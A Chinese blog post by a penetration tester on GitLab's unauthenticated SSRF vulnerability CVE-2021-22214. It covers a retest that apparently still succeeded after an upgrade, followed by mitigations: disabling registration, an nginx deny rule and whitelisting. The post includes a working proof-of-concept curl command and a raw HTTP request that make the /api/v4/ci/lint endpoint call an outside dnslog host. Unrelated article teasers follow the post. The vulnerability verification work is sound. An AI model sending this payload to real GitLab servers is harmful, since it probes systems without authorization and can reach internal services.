生命在于研究——CVE-2021-22214记录

在这里插入图片描述

一、前言

我现在在某央企驻场,渗透测试工程师,也负责漏洞管理平台,也就是监测、渗透测试出现的漏洞,都会录入平台,走流程整改复测办结。

二、漏洞详情

1、漏洞简介

GitLab存在前台未授权SSRF漏洞,未授权的攻击者也可以利用该漏洞执行SSRF攻击(CVE-2021-22214)。该漏洞源于对用户提供数据的验证不足,远程攻击者可通过发送特殊构造的 HTTP 请求,欺骗应用程序向任意系统发起请求。攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求。

2、漏洞POC

(1)命令行验证

curl -s --show-error -H 'Content-Type: application/json' https://example.com/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content": "include:\n  remote: http://xx.xxx.xx.xx:port/api/v1/targets?test.yml"}'

(2)burp发送包

POST /api/v4/ci/lint HTTP/1.1
Host: 192.168.8.230:36586
User-Agent: python-requests/2.25.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 111{"include_merged_yaml": true, "content": "include:\n  remote: http://4ggwkl.dnslog.cn/api/v1/targets?test.yml"}

这里可以使用dnslog测试是否有回显,也可以本机开启web服务,看是否有请求。

3、修复建议(贼坑)

看了好多地方,查阅了好多资料,只有短短几句话:

影响范围 : 
13.10.5 > GitLab >= 10.5
13.11.5 > GitLab >= 13.11
13.12.2 > GitLab >= 13.12当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。链接如下:
https://about.gitlab.com/releases/2021/06/01/security-release-gitlab-13-12-2-released/

三、寻找修复建议

我们这边整改报告说已经将gitlab升级到了15.11.12
在这里插入图片描述
然后我对这个漏洞进行复测,使用poc去验证,结果发现漏洞依旧存在:
在这里插入图片描述

DNSlog也有回显。在这里插入图片描述
这时候我就想起了Tomcat的漏洞:
CVE-2020-8022,当时朋友说已经升级了,但还是可以扫描到漏洞:
在这里插入图片描述
我看了一下这个漏洞:
在这里插入图片描述

朋友反馈:
在这里插入图片描述
所以这里我就找啊,找啊,目光放到了这个接口上。
查了好多地方,都只是单纯的说升级最新版本,只有在gitlab官方才有一个人提到后续高版本也存在该漏洞,但没有理会。
我直接拉了一个靶场,研究研究。

四、目前的解决方法

1、关闭注册功能

在官方文档中我看到以下信息:
在这里插入图片描述
也就是说,这个API是用来验证CI YAML配置的接口,如果开启注册功能,并且不存在允许和拒绝列表,不需要管理员批准才可以注册,没有其他注册限制,这个接口是不需要认证的,可以直接使用,然后使用include的remote远程包含来执行恶意命令。
但我使用的靶场是13.11版本,和官方说明有所不同,不管我有没有注册限制,只要开启了注册功能,这个接口便会存在该漏洞,关闭注册功能,会显示401未认证,亲测有效。

2、直接使该接口403

请做以下操作,进入容器,编辑/etc/gitlab/gitlab.rb文件,里面的设置默认都是注释掉的,找到以下字段或者增加以下字段:nginx[‘custom_gitlab_server_config’] = “location ^~ /api/v4/ci/lint {\n deny all;\n}\n”。然后在终端输入gitlab-ctl reconfigure,该接口便会被禁止访问,亲测有效。

3、直接白名单限制,这个在gitlab设置也可以,在waf设置也可以。

五、后记

这个漏洞我并没有研究很透彻,但好歹可以积累一些知识,还是那句话,多看官方说明文档。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/89808.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

认识电磁干扰?|深圳比创达EMC

认识电磁干扰?相信不少人是有疑问的,今天深圳市比创达电子科技有限公司就跟大家解答一下! 1、电磁干扰(Electromagnetic Interference):简称EMI,有传导干扰和辐射干扰两种; 2、传导干扰:主要是…

win10录屏的3种方法,让你的视频更加精彩

在现代工作和娱乐中,录制屏幕活动已经变得非常重要。无论您是教育工作者、内容创作者还是想分享您的技能或游戏成就,win10 提供了多种方法来满足这个需求。本文将介绍3种win 10录屏的方法。无论您是初学者还是有经验的用户,我们都会为您提供详…

联盟 | 彩漩 X HelpLook,AI技术赋能企业效率提升

近日,AI 驱动的 PPT 协作分享平台「 彩漩 」与 AI 知识库搭建工具「 HelpLook」,携手为用户工作流注入更多智能和创造力,全面拥抱 AIGC 时代带来的机遇,致力于提供前沿的智能解决方案。 彩 漩 彩漩是一个以 AI 技术为基础、贯彻 …

自制网页。

文章目录 注:代码中图片等素材均来自网络,侵删 20230920_213831 index.html <!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-…

Java当中的BIO模型

我们知道Java中的IO模型分为BIO和NIO模型&#xff0c;BIO是BlCKING IO的简称而NIO当中的N有两层意思&#xff0c;一个是从java1.4开始出现的NEW IO&#xff0c;今天我们来聊一聊为什么传统的BIO会慢以及它并不适合大量的连接&#xff0c;我们先来看一段简单的代码&#xff0c;这…

pt28django教程

缓存 缓存是一类可以更快的读取数据的介质统称&#xff0c;读取硬盘、较复杂的计算、渲染都会产生较大的耗时。数据变化频率不会很高的场景适合使用缓存。使用缓存场景&#xff1a;博客列表页、电商商品详情页、缓存导航及页脚。 Django中设置缓存 Django中提供多种缓存方式…

什么是堆栈和队列?如何实现它们?

堆栈&#xff08;Stack&#xff09;和队列&#xff08;Queue&#xff09;是两种常见的线性数据结构&#xff0c;用于组织和管理数据。它们分别具有不同的特点和用途。本文将详细解释堆栈和队列的概念、特点以及如何实现它们。 堆栈&#xff08;Stack&#xff09; 什么是堆栈&…

C++图像金字塔下采样的函数

图像金字塔下采样的函数 cv::pyrDown 是 OpenCV 中用于图像金字塔下采样的函数。图像金字塔是一种多分辨率图像表示方法&#xff0c;它通过逐级下采样&#xff08;减小图像尺寸&#xff09;和上采样&#xff08;增加图像尺寸&#xff09;来生成一系列不同分辨率的图像。cv::py…

fdbus之消息接收流程

fdbus中的消息如何发送出去&#xff0c;前面的文章有的讲的很详细了&#xff0c;但是对于如何接收消息涉及的较少&#xff0c;本篇重点讲述fdbus是如何接收消息及消息在传递过程、传递方式&#xff08;零拷贝&#xff1f;&#xff09;。 还是从通过源码来讲述吧&#xff0c;更…

Mac电脑视频处理工具 Topaz Video AI for mac

Topaz Video AI是一款强大而易用的视频处理软件&#xff0c;通过人工智能技术提供高质量的视频增强和编辑功能。它可以帮助用户改善视频的质量、修复缺陷、优化图像&#xff0c;并提供丰富的编辑选项&#xff0c;以满足个性化的视频处理需求。无论是专业摄影师、视频编辑人员&a…

五、3d场景的卡片展示的创建

在我们3d的开发中&#xff0c;对某一些建筑和物体进行解释说明是非常常见的现象&#xff0c;那么就不得不说卡片的展示了&#xff0c;卡片展示很友好的说明了当前物体的状态&#xff0c;一目了然&#xff0c;下面就是效果图。 它主要有两个方法来实现&#xff0c;大量的图片建议…

maven找不到jar包

配置settings.xml文件之后出现报错找不到jar包 先改maven设置: 然后在重新清理构建项目: 可以通过执行以下命令清理本地 Maven 仓库 mvn dependency:purge-local-repository

Docker使用ssh连接ubuntu容器

容器ssh配置 启动容器 docker run -it -p 2222:22 ubuntu更新 apt update 配置密码 passwd安装openssh-server apt install openssh-server配置ssh echo "UsePAM no" >> /etc/ssh/sshd_config echo "PermitRootLogin yes" >> /etc/ssh/s…

渗透测试之打点

请遵守中华人民共和国网络安全法 打点的目的是获取一个服务器的控制权限 1. 企业架构收集 &#xff08;1&#xff09;官网 &#xff08;2&#xff09;网站或下属的子网站&#xff0c;依次往下 天眼查 企查查 2. ICP 备案查询 ICP/IP地址/域名信息备案管理系统 使用网站…

京东大型API网关实践之路

概述 1、背景 京东作为电商平台&#xff0c;近几年用户、业务持续增长&#xff0c;访问量持续上升&#xff0c;随着这些业务的发展&#xff0c;API网关应运而生。 API网关&#xff0c;就是为了解放客户端与服务端而存在的。对于客户端&#xff0c;使开放给客户端的接口标准统…

26342-2010 国际运尸 木质棺柩.

声明 本文是学习GB-T 26342-2010 国际运尸 木质棺柩. 而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 1 范围 本标准规定了国际运尸木质棺柩的分类、规格、技术要求、检验方法、包装、运输和储存。 本标准适用于为国际运尸木质棺柩的设计、生产、检测…

第七天:gec6818开发板QT和Ubuntu中QT安装连接sqlite3数据库驱动环境保姆教程

sqlite3数据库简介 帮助文档 SQL Programming 大多数关系型数的操作步骤&#xff1a;1&#xff09;连接数据库 多数关系型数据库都是C/S模型 (Client/Server)sqlite3是一个本地的单文件关系型数据库&#xff0c;同样也有“连接”的过程 2&#xff09;操作数据库 作为程序员&am…

如何将matlab中的mat矩阵文件在python中读取出来

先安装hdf5storage这个包 pip3 install hdf5storage 然后在当前目录下放入要读取的mat文件 # 将matlab中的mat文件读取出来 import hdf5storagedata hdf5storage.loadmat(inputWeights.mat) print(data[inputWeights])

分布式搜索引擎Elasticsearch

一、Elasticsearch介绍 1.Elasticsearch产生背景 大数据量的检索NoSql: not only sql,泛指非关系型的数据库Nginx的7层负载均衡和4层负载均衡2.Elasticsearch是什么 一个基于Lucene的分布式搜索和分析引擎,一个开源的高扩展的分布式全文检索引擎 Elasticsearch使用Java开发…

宿主机如何获取kvm虚拟机的ip地址

Can I determine the current IP from a known MAC Address? 参考 https://stackoverflow.com/questions/13552881/can-i-determine-the-current-ip-from-a-known-mac-address 最佳实践&#xff0c;通过nmap扫描来获取局域网中所有存活的ip&#xff0c;然后向每个ip发送一次p…